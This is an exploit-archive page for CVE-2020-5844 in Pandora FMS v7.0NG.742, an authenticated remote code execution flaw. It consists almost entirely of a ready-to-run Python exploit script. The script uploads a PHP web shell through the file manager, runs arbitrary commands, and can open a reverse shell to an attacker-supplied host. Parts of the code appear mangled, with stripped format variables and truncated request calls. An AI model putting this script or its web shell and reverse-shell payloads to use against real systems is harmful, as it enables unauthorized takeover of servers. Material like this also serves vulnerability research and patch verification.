Pandora FMS 7.0NG.742 Remote Code Execution

Risk: High
Local: No
Remote: Yes
CWE: CWE-434

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated) # Date: 05/20/2022 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: # Software Link: # Version: v7.0NG.742 # Tested on: Pandora FMS v7.0NG.742 (Ubuntu) # CVE: CVE-2020-5844 # Source: # Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020. #!/usr/bin/env python3 # Imports try: import requests except: print(f"ERRORED: RUN: pip install requests") exit() import sys import time import urllib.parse # Class for colors class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {} _ __,~~~{}/{}_{} {}__ ___ _______________ ___ ___{} {} ,~~`( )_( )-\| {}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{} {} |/| `--. {}/ /_/ / // // /__/ /_/ / , _/ // /{} {}_V__v___{}!{}_{}!{}__{}!{}_____V____{}\____/_/|_/___/\___/\____/_/|_/____/{}....{} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution Usage: python3 -t <target-IP> <target-port> -u <username> <password> python3 -t <target-IP> <target-port> -p <PHPSESSID> python3 -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>] python3 -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>] python3 -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>] python3 -h Options: -t Target host and port. Provide target IP address and port. -u Target username and password. Provide username and password to log in to Pandora FMS. -p Target valid PHP session ID. No username or password needed. (Optional) -s Reverse shell mode. Provide local IP address and port. (Optional) -c Custom command mode. Provide command to execute. (Optional) -w Web shell custom mode. Provide custom PHP file name. (Optional) -h Show this help menu. """) exit() # Pretty loading wheel def loading(spins): def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') # Run the exploit def exploit(exploitMode, targetSess): UNICORD_ASCII() # Print initial variables print(f"{}UNICORD: {}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution{}") print(f"{}OPTIONS: {}{modes[exploitMode]}{}") if targetSess is not None: print(f"{}PHPSESS: {}{targetSess}{}") elif targetUser is not None: print(f"{}USERNAME: {}{targetUser}{}") print(f"{}PASSWORD: {}{targetPass}{}") if exploitMode == "command": print(f"{}COMMAND: {}{command}{}") if exploitMode == "web": print(f"{}WEBFILE: {}{webName}{}") if exploitMode == "shell": print(f"{}LOCALIP: {}{localIP}:{localPort}{}") print(f"{}WARNING: {}Be sure to start a local listener on the above IP and port.{}") print(f"{}WEBSITE: {}http://{targetIP}:{targetPort}/pandora_console{}") loading(15) # If a PHPSESSID is not provided, grab one with valid username and password if targetSess is None: try: getSession ="http://{targetIP}:{targetPort}/pandora_console/index.php?login=1", data={"nick": targetUser, "pass": targetPass, "login_button": "login"}) targetSess = getSession.cookies.get('PHPSESSID') print(f"{}PHPSESS: {}{targetSess}{}") if "login_move" in getSession.text: print(f"{}ERRORED: {}Invalid credentials!{}") except: print(f"{}ERRORED: {}Could not log in to website!{}") exit() # Set headers, parameters, and cookies for post request headers = { 'Host': f'{targetIP}', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary=---------------------------308045185511758964171231871874', 'Content-Length': '1289', 'Connection': 'close', 'Referer': f'http://{targetIP}:{targetPort}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } params = ( ('sec', 'gsetup'), ('sec2', 'godmode/setup/file_manager') ) cookies = {'PHPSESSID': targetSess} # Basic PHP web shell with 'cmd' parameter data = f'-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="file"; filename="{webName}"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']);?>\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="umask"\r\n\r\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="decompress_sent"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="go"\r\n\r\nGo\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="real_directory"\r\n\r\n/var/www/pandora/pandora_console/images\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="directory"\r\n\r\nimages\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash"\r\n\r\n6427eed956c3b836eb0644629a183a9b\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash2"\r\n\r\n594175347dddf7a54cc03f6c6d0f04b4\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="upload_file_or_zip"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874--\r\n' # Try to upload the PHP web shell to the server try: response ='http://{targetIP}:{targetPort}/pandora_console/index.php', headers=headers, params=params, cookies=cookies, data=data, verify=False) except: print(f"{}ERRORED: {}Could not connect to website!{}") exit() statusCode=response.status_code if statusCode == 200: print(f"{}EXPLOIT: {}Connected to website! Status Code: {statusCode}{}") else: print(f"{}ERRORED: {}Could not connect to website! Status Code: {statusCode}{}") exit() loading(15) print(f"{}EXPLOIT: {}Logged into Pandora FMS!{}") loading(15) # Print web shell location if in web shell mode if exploitMode == "web": print(f"{}EXPLOIT: {}Web shell uploaded!{}") print(f"{}SUCCESS: {}Web shell available at: http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd=whoami {}\n") # Run custom command on web shell if in command mode if exploitMode == "command": response = requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(command)}') print(f"{}SUCCESS: {}Command executed! Printing response below:{}\n") print(response.text) # Run reverse shell command if in reverse shell mode if exploitMode == "shell": shell = f"php -r \'$sock=fsockopen(\"{localIP}\",{localPort});exec(\"/bin/sh -i <&3 >&3 2>&3\");\'" try: requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(shell)}',timeout=1) print(f"{}ERRORED: {}Reverse shell could not connect! Make sure you have a local listener on {}{localIP}:{localPort}{}\n") except: print(f"{}SUCCESS: {}Reverse shell executed! Check your local listener on {}{localIP}:{localPort}{}\n") exit() if __name__ == "__main__": args = ['-h','-t','-u','-p','-s','-c','-w'] modes = {'web':'Web Shell Mode','command':'Command Shell Mode','shell':'Reverse Shell Mode'} # Initialize starting variables targetIP = None targetPort = None targetUser = None targetPass = None targetSess = None command = None localIP = None localPort = None webName = "unicord.php" # Default web shell file name exploitMode = "web" # Default to web shell mode # Print help if specified or if a target or authentication is not provided if args[0] in sys.argv or args[1] not in sys.argv or (args[2] not in sys.argv and args[3] not in sys.argv): help() # Collect target IP and port from CLI if args[1] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[1]) + 1]: raise targetIP = sys.argv[sys.argv.index(args[1]) + 1] except: print(f"{}ERRORED: {}Provide a target port! \"-t <target-IP> <target-port>\"{}") exit() try: if "-" in sys.argv[sys.argv.index(args[1]) + 2]: raise targetPort = sys.argv[sys.argv.index(args[1]) + 2] except: print(f"{}ERRORED: {}Provide a target port! \"-t <target-IP> <target-port>\"{}") exit() # Collect target username and password from CLI if args[2] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[2]) + 1]: raise targetUser = sys.argv[sys.argv.index(args[2]) + 1] except: print(f"{}ERRORED: {}Provide both a username and password! \"-u <username> <password>\"{}") exit() try: if "-" in sys.argv[sys.argv.index(args[2]) + 2]: raise targetPass = sys.argv[sys.argv.index(args[2]) + 2] except: print(f"{}ERRORED: {}Provide both a username and password! \"-u <username> <password>\"{}") exit() # Collect PHPSESSID from CLI, if specified if args[3] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[3]) + 1]: raise targetSess = sys.argv[sys.argv.index(args[3]) + 1] except: print(f"{}ERRORED: {}Provide a valid PHPSESSID! \"-p <PHPSESSID>\"{}") exit() # Set reverse shell mode from CLI, if specified if args[4] in sys.argv: exploitMode = "shell" try: if "-" in sys.argv[sys.argv.index(args[4]) + 1]: raise localIP = sys.argv[sys.argv.index(args[4]) + 1] except: print(f"{}ERRORED: {}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{}") exit() try: if "-" in sys.argv[sys.argv.index(args[4]) + 2]: raise localPort = sys.argv[sys.argv.index(args[4]) + 2] except: print(f"{}ERRORED: {}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{}") exit() exploit(exploitMode,targetSess) # Set custom command mode from CLI, if specified elif args[5] in sys.argv: exploitMode = "command" try: if sys.argv[sys.argv.index(args[5]) + 1] in args: raise command = sys.argv[sys.argv.index(args[5]) + 1] except: print(f"{}ERRORED: {}Provide a custom command! \"-c <command>\"{}") exit() exploit(exploitMode,targetSess) # Set web shell mode from CLI, if specified elif args[6] in sys.argv: exploitMode = "web" try: if sys.argv[sys.argv.index(args[6]) + 1] in args: raise if ".php" not in sys.argv[sys.argv.index(args[6]) + 1]: webName = sys.argv[sys.argv.index(args[6]) + 1] + ".php" else: webName = sys.argv[sys.argv.index(args[6]) + 1] except: print(f"{}ERRORED: {}Provide a custom PHP file name! \"-c <name.php>\"{}") exit() exploit(exploitMode,targetSess) # Run with default web shell mode if no mode is specified else: exploit(exploitMode,targetSess)

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top